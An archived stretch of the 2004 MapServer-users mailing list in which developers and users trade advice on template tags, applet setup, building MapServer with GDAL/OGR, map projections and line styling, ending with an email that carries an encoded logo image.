Subject: [Mapserver-users] shpxy Message-ID: Hi Paul: There's a [shpmid] tag (and maybe shpmidx/shpmidy tags) that will give you a psuedo centroid. It's not a true centroid, but rather the center of the bounding box. It was added originally as a means of creating maps centered on a feature. Out of curiousity why aren't polygons working for you? I assume the tag works ok it's just not what you need to position an element. We/I should extend the shpxy tag to simply replace the other [shp...] tags. We could have different representations of a feature (default full, bbox, center, centroid), plus support projections and feature processing (e.g. line thinning). Steve >>> pagameba at magma.ca 3/9/2004 2:37:11 PM >>> Hi, I'm using the [shpxy xf="," transform] in a template to create imagemaps ... the imagemap onmouseover/onmouseout dynamically positions a dhtml div element over the feature in the map. This works exceptionally well for points but it doesn't work for polygons. Is there anything I can use in a template to get a centroid value for a polygon (rather than all the points)? Also, has anyone tried to do this for lines? I'm using mapscript and generating the template dynamically based the type of a selected layer. Right now my approach is to get the points that make up lines and then create polygons by buffering the lines ... this is obviously quite a lot of work in php :) Cheers, Paul -- ----------------------------------------------------------------- |Paul Spencer spencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From spencer at dmsolutions.ca Wed Mar 10 12:07:02 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Wed, 10 Mar 2004 15:07:02 -0500 Subject: [Mapserver-users] shpxy In-Reply-To: References: Message-ID: <404F7566.6090309@magma.ca> Steve, sorry, it does work for polygons but it doesn't do what I want :) Subtle difference. I am generating an imagemap dynamically and the onmouseover handler of the areas is supposed to position a dhtml div at a specific location, the javascript I am using to do this means that I put function calls in the onmouseover handler so I don't have access to the event object in all browsers. So instead, for points, I output the x/y into the javascript function call ... which works nicely. For polygons, I had nothing (until now ;)) to put in the template to return a position to display the popup div at. the [shpmid] should do what I want as long as it transforms the coordinates into pixel locations. I agree with the shpxy changes :) Some documentation might help too ... although reading the code is a viable alternative. As a side note, I have also implemented this for lines now by buffering the lines into polygons ... pretty cool but also pretty hairy if you have lots of data. Feature processing would really help here (and with polygons too). Cheers, Paul Steve Lime wrote: > Hi Paul: There's a [shpmid] tag (and maybe shpmidx/shpmidy tags) that > will give you a psuedo centroid. It's not a true centroid, but rather > the center of the bounding box. It was added originally as a means of > creating maps centered on a feature. > > Out of curiousity why aren't polygons working for you? I assume the tag > works ok it's just not what you need to position an element. > > We/I should extend the shpxy tag to simply replace the other [shp...] > tags. We could have different representations of a feature (default > full, bbox, center, centroid), plus support projections and feature > processing (e.g. line thinning). > > Steve > > >>>>pagameba at magma.ca 3/9/2004 2:37:11 PM >>> > > Hi, > > I'm using the [shpxy xf="," transform] in a template to create > imagemaps > ... the imagemap onmouseover/onmouseout dynamically positions a dhtml > > div element over the feature in the map. This works exceptionally well > > for points but it doesn't work for polygons. > > Is there anything I can use in a template to get a centroid value for a > > polygon (rather than all the points)? > > Also, has anyone tried to do this for lines? I'm using mapscript and > generating the template dynamically based the type of a selected layer. > > Right now my approach is to get the points that make up lines and > then > create polygons by buffering the lines ... this is obviously quite a > lot > of work in php :) > > Cheers, > > Paul -- ----------------------------------------------------------------- |Paul Spencer spencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From rich at greenwoodmap.com Wed Mar 10 09:36:51 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Wed, 10 Mar 2004 17:36:51 +0000 Subject: [Mapserver-users] JBox with Mozilla 1.6, Load java applet faild In-Reply-To: <404F2FD0.30004@uni-forst.gwdg.de> References: <404F1757.6080108@uni-forst.gwdg.de> <404F2503.10604@greenwoodmap.com> <404F2FD0.30004@uni-forst.gwdg.de> Message-ID: <404F5233.5050702@greenwoodmap.com> Shiming Li wrote: > Richard Greenwood wrote: > >>> >> >> Try another site e.g. www2.tetonwyo.org/mapserver to see if Java is >> working with your browser, or if there is a problem with your server >> side implementation. Or try a different browser and/or platform with >> your implementation. >> >> I notice that your are using the PNG version. Do you have the sixlegs >> class library in place? And are you creating PNGs in your .map file? >> Are they being written in your tmp directory? On your system (with JRE >> 1.4.x) sixlegs is not required to render PNG's, so try instead just >> using jBox rather than jBoxPNG. >> >> There are problems with JRE 1.4.2 with Mozilla and Firefox (see >> http://plugindoc.mozdev.org/) and I would recommend 1.4.1. However, on >> the systems I have tested, the problem does not prevent an initial map >> from displaying. Nor does it cause an "unable to load applet" error >> message. >> >> Regards, > > > I can browse the site www2.tetonwyo.org/mapserver. I had tried Konqueror > browser, can not display image. > I used the jar file, do I need sixlegs? jBoxPNG requires sixlegs, which is in the jBox.zip distribution file. And modify your parameters as follows: code="jBoxPNG.class" archive="jBoxPNG.jar,png.jar" See http://mapserver.gis.umn.edu/doc40/jbox-howto.html for more discussion of this. However, if you are using JRE 1.4, then you can simply use jBox (not jBoxPNG) and skip sixlegs. Sixlegs is a set of classes that provided PNG support for old JRE's, but PNG is supported in (at least) Sun's JRE 1.4. -- Richard Greenwood www.greenwoodmap.com From siki at agt.bme.hu Thu Mar 11 02:20:20 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Thu, 11 Mar 2004 09:20:20 -0100 (GMT+1) Subject: [Mapserver-users] Re: thanks {Scanned} In-Reply-To: <404FE3E2.4000802@darya.nio.org> Message-ID: Hi, On Thu, 11 Mar 2004, Pramila R Gawas wrote: > Hi > Thanks a lot for answering my queries > First thing is that i tried sending my queries to users mailing list, > but i didn't get any reply from any member except you. > Again, please cc your mail to the list, someone else can have the same problem. He/she can learn from our conversation. > I have installed mapserver in solaris system. > I download mapserver demo 'itasca' from mapserver official site. I saved > the demo file in my user directory. > I made following changes in * demo_init.html* file > > > value="/user/xyz/mapserver_demos/itasca/demo.map"> > > > > "http://localhost/~xyz/tmp/" > > > > > *demo.map * file > WMS_ONLINERESOURCE > "http://localhost/user/xyz/mapserver_demos/itasca/demo_init.htm" > > > when i try to run the link > http://localhost/mapserver_demos/itasca/demo_init.html in browser > > i am getting the error message : > The requested URL /mapserver_demos/itasca/demo_init.html was not found > on this server. > XYZ is my user name, & mydemo files are in /user/xyz. > do i have to save demo files in /usr/local/apache2/htdocs ... this > directory is accessible only to root user. apache server search for files under the DocumentRoot directory. It cannot access the whole directory tree. You should check httpd.conf. You can find a line DocumentRoot and a directory path. You should copy your map, template and data files there. Probably you will be in trouble because of gif images. To use itasca demo you should convert the gifs to pngs. See the list archive about this. You shouls be careful about the access right to the file under the DocumentRoot. You must set read access on the demo files for the world (everybody), and you must add read/write access to the tmp directory to the apache user (this is usually the user what right are used by the web server). Be careful. some path are absolute (e.g. IMAGEPATHi, MAPB) and some are relative to th DocumentRoot (e.g. IMAGEURL)! Bye Zoltan From gianluigi.nozza at tiscali.it Thu Mar 11 01:47:54 2004 From: gianluigi.nozza at tiscali.it (Gianluigi Nozza) Date: Thu, 11 Mar 2004 10:47:54 +0100 Subject: [Mapserver-users] Locating features Message-ID: <001701c4074e$d856b0a0$6400a8c0@gian> Hi all Believe me, before posting, I have searched the list, and tryed a lot...unsuccesfully! I have seen a lot of questions around this theme, but very few "usable" answers. I need to implement in an example application, (say Itasca demo) a "locate feature" capability (i.e. ask the user for a string/layer to query) and to zoom to the extent of the feature or features retrived... sound easy, and this is a common task for every GIS based application; but since I 'am new to Mapserver etc. It is really an hard task for me! Does anyone knows If there are accessible demos showing how to implement this task ? I have tryed using itemquery & itemnquery using code posted in previous discussions but I cannot get what I want!, Most of all 90% of time I get No query layer errors, or no matching record(s) found error, I don't know even if these are the functions I need to accomplish the above task. Since I am not a programmer, I would like preferably to get access to some working examples, If you know how to help me please do not hesitate. Thank you everybody in advance. A discouraged newbie. From V.Honzik at sh.cvut.cz Thu Mar 11 02:20:57 2004 From: V.Honzik at sh.cvut.cz (Vojtech Honzik) Date: Thu, 11 Mar 2004 11:20:57 +0100 (CET) Subject: [Mapserver-users] PHP/Mapscript windows binary with PostGIS Message-ID: I would like to ask you pilitely for including the PostGIS support into new official builds at http://www.maptools.org/dl/ Based on the infrormation from (not only) README in package mapserver-4.1-dev-win32-php4.3.4.zip, it should contain the support for PostGIS layers. Anyway, phpinfo() shows that there is not INPUT=POSTGIS feature. The version is ($Revision: 1.191 $ $Date: 2004/02/26 15:10:44 $) so it should as I presume fix for QueryByFence as described for example in http://postgis.refractions.net/pipermail/postgis-users/2003-December/003653.html I was assured this was already fixed in cvs version of MapServer. Unfortunately I am not able to compile PHP/MapScript binary on windows on my own. Under Linux it is quite easier as I know and I wouldn't ask for help in such case. It is also suggested to rely on original DM Solutions build i think. The suggested solution for my problem (multiple features as a query result) was downgrading of PostgreSQL to something lesser than 7.4(I am not allowed to do) or fixing the postgis.c source (can't perform this under Windows). So if there is anybody who would be able to give me a link to appropriate PHP/Mapscript module, I would be on his honour. Best regards, Vojtech Honzik From gis at schnegg.net Thu Mar 11 02:45:18 2004 From: gis at schnegg.net (Frank Rittinger) Date: Thu, 11 Mar 2004 11:45:18 +0100 Subject: [Mapserver-users] Locating features In-Reply-To: <001701c4074e$d856b0a0$6400a8c0@gian> References: <001701c4074e$d856b0a0$6400a8c0@gian> Message-ID: <4050433E.4060403@schnegg.net> Hello Gianluigi, Gianluigi Nozza wrote: > I need to implement in an example application, (say Itasca demo) a "locate > feature" capability > (i.e. ask the user for a string/layer to query) and to zoom to the extent of > the feature or features retrived... How exactly you implement this feature depends on you application framework, i.e. do you use mapscript or CGI etc. In general you would do an itemnquery; and from the found shapes you can calculate the new extent for the next draw request, i.e. you have to call mapserver twice. Ciao, Frank From gianluigi.nozza at tiscali.it Thu Mar 11 03:55:28 2004 From: gianluigi.nozza at tiscali.it (Gianluigi Nozza) Date: Thu, 11 Mar 2004 12:55:28 +0100 Subject: [Mapserver-users] Locating features References: <001701c4074e$d856b0a0$6400a8c0@gian> <4050433E.4060403@schnegg.net> Message-ID: <002701c4075f$c21218f0$6400a8c0@gian> Many thanks... Sounds easy, I tried to implement these functions inside demo applications, both on the side of CGI Mapserver using itemnquery, and on the side of PHP mapscript (Gmfactory build application). My programming knowledge in these environments is very little, I am a real newbie, so what I need are accessible examples or a step by step guide. Do you know if over Internet I can download a working demo implementing these capabilities ? Meanwhile I'am studing but I would like to set up this function quickly, to decide also which is the development environment most suitable for my needs. For what I have seen till now, Gmfactory build applications, with a locate feature capability should suffice for me. ----- Original Message ----- From: "Frank Rittinger" To: "Gianluigi Nozza" Cc: Sent: Thursday, March 11, 2004 11:45 AM Subject: Re: [Mapserver-users] Locating features > Hello Gianluigi, > > Gianluigi Nozza wrote: > > I need to implement in an example application, (say Itasca demo) a "locate > > feature" capability > > (i.e. ask the user for a string/layer to query) and to zoom to the extent of > > the feature or features retrived... > > How exactly you implement this feature depends on you application > framework, i.e. do you use mapscript or CGI etc. In general you would > do an itemnquery; and from the found shapes you can calculate the new > extent for the next draw request, i.e. you have to call mapserver twice. > > Ciao, Frank > > > From siki at agt.bme.hu Thu Mar 11 07:27:42 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Thu, 11 Mar 2004 14:27:42 -0100 (GMT+1) Subject: [Mapserver-users] Re: thanks {Scanned} In-Reply-To: <40504E07.8030405@darya.nio.org> Message-ID: On Thu, 11 Mar 2004, Pramila R Gawas wrote: > Hello sir, > I learned many things from ur responses. thanks for ur immediate response. > I am running one small application. I have got world.shp file which i am > trying to display in browser. > when i try to display the map i.e > http://localhost/~user/map=file.map&mode=map, it works fine. > but when i tried running it with html file, nothing is displaying in the > browser. > I am attaching my html files here. pls reply what could be the error in > example1.html file. > What is the state of your layers in the map file? If the status=on you can see the layer only if you add a layer=name in the url. For example /cgi-bin/mapserv?map=your.map&mode=map&layer=name If the state=default it should be seen If the state=off you cannot turn it on. As far as I see you have different path in the url in your mail. I have never used mode=map before I always use template mode=browse, but I've tried both from the url and from a html file and it worked fine. Try to add http://host/ in the src tag of the img. Bye Zoltan From dmorissette at dmsolutions.ca Thu Mar 11 06:02:51 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 11 Mar 2004 09:02:51 -0500 Subject: [Mapserver-users] getextent in a file .TAB In-Reply-To: <20040311075318.2531.qmail@web41313.mail.yahoo.com> References: <20040311075318.2531.qmail@web41313.mail.yahoo.com> Message-ID: <4050718B.5020002@dmsolutions.ca> Irene P?rez wrote: > But I want obtain the extent automatic when the user > "select" a Polygon in the map, than zoom to this > extent... with the ogrinfo tool, is manual. > > Thanks. > (Please always reply via the list) This question comes up once in a while on the list, so if you search the archives you'll find some useful information. For instance, a Google search for "zoom query mapscript site:umn.edu" returns the following (5th hit in the list of results): http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0212/msg00197.html Daniel > --- Daniel Morissette > escribi?: > Irene P?rez wrote: > >>>Hi, can you help me? >>>I 'm using files mapinfo and I have a problem, >> >>because >> >>>I'm trying get the extent of a layers, but i can't >> >>use >> >>>getextent() because i have the next error to >> >>execute >> >>>the next line: >>> >>>$shapeFileObj = ms_newShapeFileObj( >>>"/home/ejemplos/data/municipios",-1) >>> >> >>The shapefileObj is for shapefiles only. It won't >>work for OGR or any >>other data source. >> >> >>>How can i get the extent, please? >>> >> >>You can use the 'ogrinfo' tool that comes with >>GDAL/OGR, e.g. >> >> ogrinfo -so /home/ejemplos/data/municipios.TAB >>municipios >> >>For more info on 'ogrinfo', see: >>http://ogr.maptools.org/ogr_utilities.html >> >>Daniel >>-- >> > > ------------------------------------------------------------ > >> Daniel Morissette >>dmorissette at dmsolutions.ca >> DM Solutions Group >>http://www.dmsolutions.ca/ >> > > ------------------------------------------------------------ > >> > > From listen at superbla.net Thu Mar 11 06:16:34 2004 From: listen at superbla.net (joerg pfeiffer) Date: Thu, 11 Mar 2004 15:16:34 +0100 Subject: [Mapserver-users] globo raster data In-Reply-To: Message-ID: <000401c40773$75c7fa50$1100a8c0@DELL> Hello, could you give me an idea, how to get those globo raw files from http://www.ngdc.noaa.gov/seg/topo/globe.shtml into my map? And what about the performance, do I have top split the pictures? Thanks J?rg From tomko at gku.sk Thu Mar 11 08:02:21 2004 From: tomko at gku.sk (Tomko) Date: Thu, 11 Mar 2004 17:02:21 +0100 Subject: [Mapserver-users] asymetric line symbol In-Reply-To: <20040310180003.22908.99114.Mailman@lists.gis.umn.edu> Message-ID: <000001c40782$42f0b270$d90510ac@aisgkk> Dear lists, Just a quick question concerning line symbols - is there a way to create layered, but asymetric lines? I am trying to create bicolor area borders, with a diffferent color on the inside and on the outside... Thanks Martin From mh at svaj.dk Thu Mar 11 10:11:44 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Thu, 11 Mar 2004 19:11:44 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From Gatti at cpqd.com.br Thu Mar 11 11:19:56 2004 From: Gatti at cpqd.com.br (Sandro Danilo Gatti) Date: Thu, 11 Mar 2004 16:19:56 -0300 Subject: [Mapserver-users] Compiling mapserver 4 with gdal + ogr + wfs suport Message-ID: <7B3538F053C06142BF0AA9DF2D764AC603909FCC@MAILSRV1.aquarius.cpqd.com.br> Hello! I'm trying to build mapserver 4.0 with WFS suport and so I've been using the following configure parameters (well, I've also tried other configuration parameters, but they turned out the same) : $ ./configure --with-proj --with-gdal --with-ogr=/usr/local/bin/ --with-wmsclient --with-wfsclient --with-wsm --with-wfs however, what I get is the following : checking whether we should include OGR support... configure: error: !!! Could not find ogr_feature.h, ogrsf_fmrts.h, cpl_conv.h, !!! !!! ogr.a, ogrsf_frmts.a, or cpl.a in /usr/local/bin/ . !!! Either this is not the location of a recent GDAL/OGR source tree, !!! !!! or OGR has not been compiled yet. Please make sure you compile !!! !!! OGR before calling configure. !!! My gdal-config is in /usr/local/bin. I also have libgdal.a in /usr/local/lib. All these were properly installed using "make install". GDAL version is 1.2.0. OK, I have ogr_feature.h, ogrsf_fmrts.h, cpl_conv.h in /usr/local/include (also using "make install"). But I can't find ogr.a, ogrsf_frmts.a, or cpl.a anywhere. If I build mapserver without ogr, WFS and wfsclient it works fine. Any help would be very appreciated. Thank you ----------------------------------------- Sandro Danilo Gatti Analista de Sistemas CPqD Telecom & IT Solutions Tel.: +55 19 3705-4420 gatti at cpqd.com.br http://www.cpqd.com.br From dmorissette at dmsolutions.ca Thu Mar 11 12:05:40 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 11 Mar 2004 15:05:40 -0500 Subject: [Mapserver-users] Compiling mapserver 4 with gdal + ogr + wfs suport In-Reply-To: <7B3538F053C06142BF0AA9DF2D764AC603909FCC@MAILSRV1.aquarius.cpqd.com.br> References: <7B3538F053C06142BF0AA9DF2D764AC603909FCC@MAILSRV1.aquarius.cpqd.com.br> Message-ID: <4050C694.1000303@dmsolutions.ca> Sandro Danilo Gatti wrote: > Hello! > > I'm trying to build mapserver 4.0 with WFS suport and so I've been using the following configure parameters (well, I've also tried other configuration parameters, but they turned out the same) : > > $ ./configure --with-proj --with-gdal --with-ogr=/usr/local/bin/ --with-wmsclient --with-wfsclient --with-wsm --with-wfs > Try using --with-ogr=/usr/local/bin/gdal-config Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From david.mitchell at telogis.com Thu Mar 11 13:02:32 2004 From: david.mitchell at telogis.com (David Mitchell) Date: Fri, 12 Mar 2004 10:02:32 +1300 Subject: [Mapserver-users] asymetric line symbol In-Reply-To: <000001c40782$42f0b270$d90510ac@aisgkk> References: <000001c40782$42f0b270$d90510ac@aisgkk> Message-ID: <4050D3E8.4020408@telogis.com> This has recently been mentioned on this list, but here it is again: If you add this to your STYLE for the line it will offset it by 5 pixels: OFFSET 5 -99 OFFSET -5 -99 makes it 5 pixels onto the other side David Tomko wrote: > Dear lists, > Just a quick question concerning line symbols - is there a way to create > layered, but asymetric lines? I am trying to create bicolor area > borders, with a diffferent color on the inside and on the outside... > > Thanks > > Martin > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- David Mitchell Software Engineer Telogis NOTICE: This message (including any attachments) contains CONFIDENTIAL INFORMATION intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. From innaj at web.de Thu Mar 11 13:51:22 2004 From: innaj at web.de (Inna Janssen) Date: Thu, 11 Mar 2004 22:51:22 +0100 Subject: [Mapserver-users] scale is not correct Message-ID: <200403112151.i2BLpMQ08105@mailgate5.cinetic.de> Hi, I have a strange problem with the scale: The scale is calculated wrong. In my map germany is just 8 meters long :-) (see it here: http://map.inna.de/mifazkarte/orte.php) But the scale is calculated absolutetely automatically? Is there any way to correct it? Inna From nacional at cbs.umn.edu Thu Mar 11 14:48:30 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Thu, 11 Mar 2004 16:48:30 -0600 (CST) Subject: [Mapserver-users] scale is not correct In-Reply-To: <200403112151.i2BLpMQ08105@mailgate5.cinetic.de> References: <200403112151.i2BLpMQ08105@mailgate5.cinetic.de> Message-ID: It looks like your map is in geographic projection. You'll have to reproject your data to some other grid-based projection if you want your scale rendered properly. Here are some of the projections you might want to have a look at: http://www.geocities.com/CapeCanaveral/1224/prj/de/de.html You'll need the proj library support to reproject your map on the fly, or you can reproject your data using GIS tools and use that reprojected data in MapServer. Good luck! -Perry N. On Thu, 11 Mar 2004, Inna Janssen wrote: > Hi, > > I have a strange problem with the scale: > The scale is calculated wrong. In my map germany is just 8 meters long :-) > (see it here: http://map.inna.de/mifazkarte/orte.php) > > But the scale is calculated absolutetely automatically? Is there any way > to correct it? > > Inna > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Gatti at cpqd.com.br Fri Mar 12 05:39:49 2004 From: Gatti at cpqd.com.br (Sandro Danilo Gatti) Date: Fri, 12 Mar 2004 10:39:49 -0300 Subject: RES: [Mapserver-users] Compiling mapserver 4 with gdal + ogr + wfs suport Message-ID: <7B3538F053C06142BF0AA9DF2D764AC60390A050@MAILSRV1.aquarius.cpqd.com.br> Hello now I get the following : $ ./configure --with-proj --with-gdal --with-ogr=/usr/local/bin/gdal-config --with-wmsclient --with-wfsclient --with-wsm --with-wfs ... checking whether we should include OGR support... checking for OGRRegisterAll in -lgdal.1.1... (cached) no configure: warning: OGR not found in system libs... use --with-ogr=DIR. checking if GDAL support requested... yes checking if PostGIS support requested... no checking if MyGIS support requested... no checking if OracleSpatial support requested... no checking if MING/Flash support requested... no checking whether we should include WMS Server support... OGC WMS compatibility enabled (-DUSE_WMS_SVR). checking whether we should include WFS Server support... configure: error: OGC WFS Server support cannot be enabled: missing OGR which is required). my gdal is configured as follows : $ /usr/local/bin/gdal-config --libs -L/usr/local/lib -lgdal $ /usr/local/bin/gdal-config --ogr-enabled yes $ /usr/local/bin/gdal-config --formats gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 xpm sdts raw dted mem jdem envisat elas fit vrt usgsdem l1b nitf bmp pcidsk bsb gif jpeg png Have I made any mistake compiling gdal? I don't know if it has something to with it, but I have not installed LibGeoTiff and LibTiff suport. Does OGR need them? Thank you ----------------------------------------- Sandro Danilo Gatti Analista de Sistemas CPqD Telecom & IT Solutions Tel.: +55 19 3705-4420 gatti at cpqd.com.br http://www.cpqd.com.br |- Sandro Danilo Gatti wrote: |- > Hello! |- > |- > I'm trying to build mapserver 4.0 with WFS suport and so |- I've been using the following configure parameters (well, |- I've also tried other configuration parameters, but they |- turned out the same) : |- > |- > $ ./configure --with-proj --with-gdal |- --with-ogr=/usr/local/bin/ --with-wmsclient --with-wfsclient |- --with-wsm --with-wfs |- > |- |- Try using --with-ogr=/usr/local/bin/gdal-config |- |- Daniel |- -- |- ------------------------------------------------------------ |- Daniel Morissette dmorissette at dmsolutions.ca |- DM Solutions Group http://www.dmsolutions.ca/ |- ------------------------------------------------------------ |- |- From warmerdam at pobox.com Fri Mar 12 06:43:33 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 12 Mar 2004 09:43:33 -0500 Subject: RES: [Mapserver-users] Compiling mapserver 4 with gdal + ogr + wfs suport In-Reply-To: <7B3538F053C06142BF0AA9DF2D764AC60390A050@MAILSRV1.aquarius.cpqd.com.br> References: <7B3538F053C06142BF0AA9DF2D764AC60390A050@MAILSRV1.aquarius.cpqd.com.br> Message-ID: <4051CC95.50702@pobox.com> Sandro Danilo Gatti wrote: > Hello > > now I get the following : > > $ ./configure --with-proj --with-gdal --with-ogr=/usr/local/bin/gdal-config --with-wmsclient --with-wfsclient --with-wsm --with-wfs > > ... > checking whether we should include OGR support... > checking for OGRRegisterAll in -lgdal.1.1... (cached) no Sandro, Try deleting your config.cache file, and redoing the above configure line. Configure often "remembers" results between runs to speed things up but this also often foils efforts to configure with different options. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From tomko at gku.sk Fri Mar 12 01:55:12 2004 From: tomko at gku.sk (Tomko) Date: Fri, 12 Mar 2004 10:55:12 +0100 Subject: [Mapserver-users] Asymetric lines - solved In-Reply-To: <20040311180004.1307.66487.Mailman@lists.gis.umn.edu> Message-ID: <000001c40818$236d9d00$d90510ac@aisgkk> Ok, my problem is solved, but thanks anyway for the help, specially to David! Martin From dmorissette at dmsolutions.ca Fri Mar 12 07:04:52 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 12 Mar 2004 10:04:52 -0500 Subject: RES: [Mapserver-users] Compiling mapserver 4 with gdal + ogr + wfs suport In-Reply-To: <7B3538F053C06142BF0AA9DF2D764AC60390A050@MAILSRV1.aquarius.cpqd.com.br> References: <7B3538F053C06142BF0AA9DF2D764AC60390A050@MAILSRV1.aquarius.cpqd.com.br> Message-ID: <4051D194.5060204@dmsolutions.ca> Sandro Danilo Gatti wrote: > now I get the following : > > $ ./configure --with-proj --with-gdal --with-ogr=/usr/local/bin/gdal-config --with-wmsclient --with-wfsclient --with-wsm --with-wfs > > ... > checking whether we should include OGR support... > checking for OGRRegisterAll in -lgdal.1.1... (cached) no > configure: warning: OGR not found in system libs... use --with-ogr=DIR. You must be using GDAL 1.1.9 or 1.2.0? The name of the GDAL library has changed in those versions and we had to change a test in the configure script. However this was done only after the 4.0.1 release so the fix hasn't been released yet. You can get a new configure for MS 4.0.1 from http://www2.dmsolutions.ca/tmp/ms-401-configure.tar.gz Just extract the file and copy it over your configure script, then rerun configure and you should be fine. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From tomko at gku.sk Fri Mar 12 00:34:06 2004 From: tomko at gku.sk (Tomko) Date: Fri, 12 Mar 2004 09:34:06 +0100 Subject: [Mapserver-users] asymetric line symbol In-Reply-To: <4050D3E8.4020408@telogis.com> Message-ID: <000001c4080c$ceacd700$d90510ac@aisgkk> Dear David, Thanks for the help. Well, I have found something like that in the list, but unfortunately I can not get this working. Maybe you can seen an error, I dont... All I get is loadSymbol(): Incorrect data type. Parsing error near (OFFSET):(line 158) SYMBOL NAME 'line' TYPE ellipse FILLED true POINTS 1 1 END END SYMBOL NAME 'ofline' TYPE ellipse FILLED true POINTS 1 1 END FILLED true TRANSPARENT 0 STYLE 5 OFFSET 5 -99 END LAYER NAME hranica GROUP hranica TYPE polygon STATUS on DATA ../portal/data/SVM50/hranice/stat.shp MINSCALE 1000 MAXSCALE 1700000 CLASSITEM "OBJECTID" CLASS EXPRESSION /./ OUTLINECOLOR 255 190 232 SIZE 8 SYMBOL 'line' OVERLAYSYMBOL 'ofline' OVERLAYSIZE 2 OVERLAYOUTLINECOLOR 255 0 197 END # CLASS METADATA Povod "SVM50 vektorizaciou ZM50" WMS_TITLE "hranica" WMS_GROUP_TITLE "hranica" WMS_SRS "EPSG:4156" END From guillaume.sueur at geosignal.fr Fri Mar 12 07:57:32 2004 From: guillaume.sueur at geosignal.fr (Guillaume SUEUR GEOSIGNAL) Date: Fri, 12 Mar 2004 16:57:32 +0100 Subject: [Mapserver-users] Arabic support In-Reply-To: <4051CC95.50702@pobox.com> References: <7B3538F053C06142BF0AA9DF2D764AC60390A050@MAILSRV1.aquarius.cpqd.com.br> <4051CC95.50702@pobox.com> Message-ID: <4051DDEC.2090107@geosignal.fr> This is a multi-part message in MIME format. --------------040406030602040300020008 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all,

A silly question before running out for the week-end : is MapServer compatible with an arabic version of Windows 2000 ? Some software just crach under these specific versions of Windows. Has anybody around done this test ?
Thanks,

--
Guillaume SUEUR
guillaume.sueur at geosignal.fr
 

25 bis Av. Marcel Dassault

BP 5836 31505 Toulouse Cedex 5
tél : 05.61.17.47.17
fax : 05.61.54.30.14
--------------040406030602040300020008 Content-Type: image/jpeg; name="logogs-bva.jpg" Content-Transfer-Encoding: base64 Content-ID: Content-Disposition: inline; filename="logogs-bva.jpg" /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAcEBAQFBAcFBQcKBwUHCgwJBwcJDA0LCwwLCw0R DQ0NDQ0NEQ0PEBEQDw0UFBYWFBQeHR0dHiIiIiIiIiIiIiL/2wBDAQgHBw0MDRgQEBgaFREV GiAgICAgICAgICAgICAhICAgICAgISEhICAgISEhISEhISEiIiIiIiIiIiIiIiIiIiL/wAAR CABLAMgDAREAAhEBAxEB/8QAHAAAAgMBAQEBAAAAAAAAAAAAAAcEBQYDAgEI/8QAURAAAAQE AgMJCgwBCgcAAAAAAQIDBAAFBhEHEhMhMRQiN0FRVHWi0gg2OGFxc3ays7QVFzIzNUJSdIGR scJyFhgjJENigqHB8SZTkpOU0fD/xAAbAQEAAgMBAQAAAAAAAAAAAAAABQYCAwQBB//EADUR AAIAAwQIBAUEAwEAAAAAAAABAgMRBAUSMRMhM0FhcaHRNFFSciIygZHBBhQVsSOC8EL/2gAM AwEAAhEDEQA/AG3iFic8kU4ZUtTUtGdVfMCCqizz6NJFEBsKzhT6pbhqgDL1dX/dBUpTjqoJ tKZADBoBRW0azk59+cCBYuYL6zBxwA2Waxl2iKxtRlCFMIB/eC8ALuqq9xN+MlejqOYyxxue XpP1FH5liDY6gpiACmNttuKAL6iHmLS8wXLWjKVtmAJXbmlyix1BVzbDApqy5YA07lyg1bKO XBgTQRIZRU47ClKFxEfIAQAqJTVmNmISak8o/wCD5DS2YxZaeYJnWcOylG2kEAuBCiIf7wBo 8M8Q53OplMqVqxkSX1fJ8hnKaIiKC6CnyHCIjfejxh/sAGtnE0byuXqvV9ZEw1FDaYR1AUPK MabTaIZMDje422eQ5sahW8Xj2uqicKicrjc6f1U0wCwfiICIxVJt8WiJ1rhXAscq65MKyxPi W9KV08UeJsZqIKFVHKk4sACBh2Aa2oQHljvu2+InGoJmuuT7nHb7rhUOOXqpuNTULxdnJHTp uNlkkxMQRC+vyRM22a5cmKKHNIirJLUc2GF5NmXpKrZ5Mp4m0dqEMgYhxEAIBRuUNWuIe7Lz nTZyhiapR7iUvC75UqU4oczXv3zdgzUduRyopBcw/wCgeMYnZ06GXC4oskQ8qU44lDDmzBv8 